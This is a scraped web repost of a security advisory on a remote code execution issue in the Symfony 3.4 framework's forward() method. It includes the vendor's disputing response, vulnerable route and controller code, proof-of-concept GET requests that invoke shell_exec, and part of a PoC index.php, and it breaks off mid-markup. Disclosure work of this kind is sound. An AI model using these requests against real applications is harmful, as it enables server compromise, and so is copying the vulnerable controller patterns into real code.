{"id":13758,"date":"2018-11-04T14:19:37","date_gmt":"2018-11-04T22:19:37","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2018\/11\/04\/news-7525\/"},"modified":"2018-11-04T14:19:37","modified_gmt":"2018-11-04T22:19:37","slug":"news-7525","status":"publish","type":"post","link":"http:\/\/www.palada.net\/index.php\/2018\/11\/04\/news-7525\/","title":{"rendered":"SSD Advisory \u2013 Symfony Framework forward() Remote Code Execution"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Ori Nimron| Date: Sun, 04 Nov 2018 14:21:53 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<div class=\"pf-content\">\n<p><strong>Vulnerability Summary<\/strong><br \/> The following advisory describes a vulnerability found in Symfony 3.4 &#8211; a PHP framework that is used to create websites and web applications. Built on top of the Symfony Components. Under certain conditions, the Symfony framework can be abused to trigger RCE in the HttpKernel (http-kernel) component, while forward() is considered by the vendor as an equivalent to eval() (in its security implications) &#8211; there is no mentioning of this in the current documentation.<\/p>\n<p><strong>Vendor Response<\/strong><br \/> &#8220;As previously noted, unless there is something we are missing, the forward() method itself does not have a security vulnerability, but you believe having public methods that accept callables as arguments is in itself a security vulnerability. The forward() method allows you to pass a callable to it which, like many methods in many libraries including many common functions in PHP core such as array_filter (https:\/\/secure.php.net\/manual\/en\/function.array-filter.php), if you pass untrusted user input into it, then it could result in remote code execution.<\/p>\n<p>As with SQL queries, outputting data onto a page, using callables or using eval(), if you pass untrusted user input into them, it can result in security issues whether it be remote code execution, SQL injection or an XSS issue. As a framework, Symfony will attempt to aid users to write more secure code and provide tools for this, but a framework cannot assume complete and total responsibility as developers can always write insecure code and should always be aware of how they use unvalidated user input.<\/p>\n<p>As I hope I&#8217;ve explained we do not believe this to be a security vulnerability, but if you believe we are still missing something, please do let us know.&#8221;<\/p>\n<p>We disagree with this assessment, looking up examples of how to use forward(), there is no mentioning by anyone that you should filter user provided data as it may trigger a code execution vulnerability (unlike eval() equivalent or SQL statements equivalent examples), we therefore believe its prudent to publicly announce this issue.<\/p>\n<p><strong>Credit<\/strong><br \/> Independent security researcher, Calum Hutton, have reported this vulnerability to Beyond Security&#8217;s SecuriTeam Secure Disclosure program.<br \/> <span id=\"more-3781\"><\/span><br \/> <strong>Affected systems<\/strong><br \/> Symfony Framework 3.4.* Running on Linux Systems.<\/p>\n<p><strong>Vulnerability Details<\/strong><br \/> The vulnerability occurs when the untrusted user data is passed into the forward() function provided by the frameworks AbstractController class. If this function is called in application code with untrusted user input, the application is potentially at risk of this issue.<\/p>\n<p>Symfony allows for controllers to be any PHP callable (https:\/\/symfony.com\/doc\/current\/controller.html#a-simple-controller) which gives great flexibity to the developer, but also potentially unforeseen consequences. Because of this, the string &#8216;system&#8217; would be considered a valid controller, as it is a valid callable and would resolve to the builtin system() function. Symfony would successfully resolve and instantiate the controller instance and attempt to resolve the arguments required to call the new controller from the provided arguments and request context. This would normally fail (depending on the names, and number of arguments), causing the entire controller resolution to fail. One array that is searched for appropriate argument names during argument resolution is the path array passed into the AbstractController::forward() function.<\/p>\n<p>Hence, by controlling the first (controller name\/callable) and at least partially the second (path array) parameters of the AbstractController::forward() function, it is possible to call arbitrary PHP functions leading to RCE.<\/p>\n<p><strong>How to Exploit<\/strong><br \/> One way developers might introduce parameters into the path array to pass on to the forwarded controller is through named URL route parameters. Consider the following route definition:<br \/> forward:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5bdf707853e67859861425\" class=\"crayon-syntax crayon-theme-shell-default crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> path: \/forward\/{controller}\/{cmd}  defaults: { _controller: &#8216;AppControllerBaseController::myForward1&#8217; }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0009 seconds] -->  <\/p>\n<p>Both the controller and cmd route parameters will be passed into the BaseController::myForward1 controller:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5bdf707853e74297976151\" class=\"crayon-syntax crayon-theme-sublime-text crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">PHP<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> public function myForward1($controller, $cmd, array $path = array(), array $query = array()) {   \/\/ Add the cmd var to the path array   if ($cmd) {    $path = compact(&#8216;cmd&#8217;);   }     return $this-&gt;forward($controller, $path, $query);  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e74297976151-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e74297976151-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e74297976151-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e74297976151-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e74297976151-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e74297976151-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e74297976151-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e74297976151-8\">8<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e74297976151-1\"><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">myForward1<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$controller<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$cmd<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$query<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e74297976151-2\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ Add the cmd var to the path array<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e74297976151-3\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$cmd<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e74297976151-4\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">$path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">compact<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;cmd&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e74297976151-5\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e74297976151-6\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e74297976151-7\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-k\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">forward<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">$controller<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">$query<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e74297976151-8\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0027 seconds] -->  <\/p>\n<p>In this example route and controller, the cmd parameter is added to the path array (with the name cmd) that is passed into the AbstractController::forward() function. At this point, the controller is vulnerable to RCE with the below GET request: http:\/\/127.0.0.1\/forward\/shell_exec\/id<\/p>\n<p>By adding the cmd argument to the path array in the controller, and calling it cmd, Symfony will correctly resolve both the controller and arguments required for the shell_exec() PHP builtin function (http:\/\/php.net\/manual\/en\/function.shell-exec.php). Once the controller and arguments are successfully resolved the controller is executed. Specifically in the above example URL, calling the Linux OS &#8216;id&#8217; command. An alternative but still vulnerable route and controller combination is shown below, where URL query parameters from the request are merged into the path array and used in the AbstractController::forward() function.<\/p>\n<p>forward:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5bdf707853e7a836011677\" class=\"crayon-syntax crayon-theme-shell-default crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> path: \/forward\/{controller}  defaults: { _controller: &#8216;AppControllerBaseController::myForward2&#8217; }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e7a836011677-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e7a836011677-2\">2<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e7a836011677-1\"><span class=\"crayon-v\">path<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">forward<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e7a836011677-2\"><span class=\"crayon-v\">defaults<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">_controller<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;AppControllerBaseController::myForward2&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0007 seconds] -->  <\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5bdf707853e7d667177984\" class=\"crayon-syntax crayon-theme-sublime-text crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> public function myForward2($controller, array $path = array(), array $query = array()) {   \/\/ Get current request   $req = App::getRequest();   \/\/ Populate path vars from query params   $path = array_merge($path, $req-&gt;query-&gt;all());   return $this-&gt;forward($controller, $path, $query);  }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e7d667177984-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e7d667177984-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e7d667177984-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e7d667177984-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e7d667177984-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e7d667177984-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e7d667177984-7\">7<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e7d667177984-1\"><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">myForward2<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">query<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e7d667177984-2\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ Get current request<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e7d667177984-3\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">App<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">getRequest<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e7d667177984-4\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/\/ Populate path vars from query params<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e7d667177984-5\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_merge<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">query<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">all<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5bdf707853e7d667177984-6\"><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">forward<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">controller<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">path<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">query<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5bdf707853e7d667177984-7\"><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0021 seconds] -->  <\/p>\n<p>With a configuration such as this, the same command could be run with the GET request:<br \/> http:\/\/127.0.0.1\/forward2\/shell_exec?cmd=id<\/p>\n<p><strong>PoC<\/strong><br \/> With the following PHP page called &#8216;index.php&#8217; located in the public symfony directory:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5bdf707853e82808325750\" class=\"crayon-syntax crayon-theme-sublime-text crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<p><span class=\"crayon-language\">PHP<\/span><\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &lt;?php    use AppCoreApp;  use SymfonyComponentDebugDebug;  use SymfonyComponentDotenvDotenv;  use SymfonyComponentHttpFoundationRequest;    require __DIR__.&#8217;\/..\/vendor\/autoload.php&#8217;;    \/\/ The check is to ensure we don&#8217;t use .env in production  if (!isset($_SERVER[&#8216;APP_ENV&#8217;])) {      if (!class_exists(Dotenv::class)) {          throw new RuntimeException(&#8216;APP_ENV environment variable is not defined. You need to define environment variables for configuration or add &#8220;symfony\/dotenv&#8221; as a Composer dependency to load variables from a .env file.&#8217;);      }      (new Dotenv())-&gt;load(__DIR__.&#8217;\/..\/.env&#8217;);  }    if ($trustedProxies = $_SERVER[&#8216;TRUSTED_PROXIES&#8217;] ?? false) {      Request::setTrustedProxies(explode(&#8216;,&#8217;, $trustedProxies), Request::HEADER_X_FORWARDED_ALL ^ Request::HEADER_X_FORWARDED_HOST);  }    if ($trustedHosts = $_SERVER[&#8216;TRUSTED_HOSTS&#8217;] ?? false) {      Request::setTrustedHosts(explode(&#8216;,&#8217;, $trustedHosts));  }    $env = $_SERVER[&#8216;APP_ENV&#8217;] ?? &#8216;dev&#8217;;  $debug = (bool) ($_SERVER[&#8216;APP_DEBUG&#8217;] ?? (&#8216;prod&#8217; !== $env));    if ($debug) {      umask(0000);      Debug::enable();  }    $app = new App($env, $debug);  $request = App::getRequest();  $response = $app-&gt;handle($request);  $response-&gt;send();  $app-&gt;terminate($request, $response);<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5bdf707853e82808325750-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5bdf707853e82808325750-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" 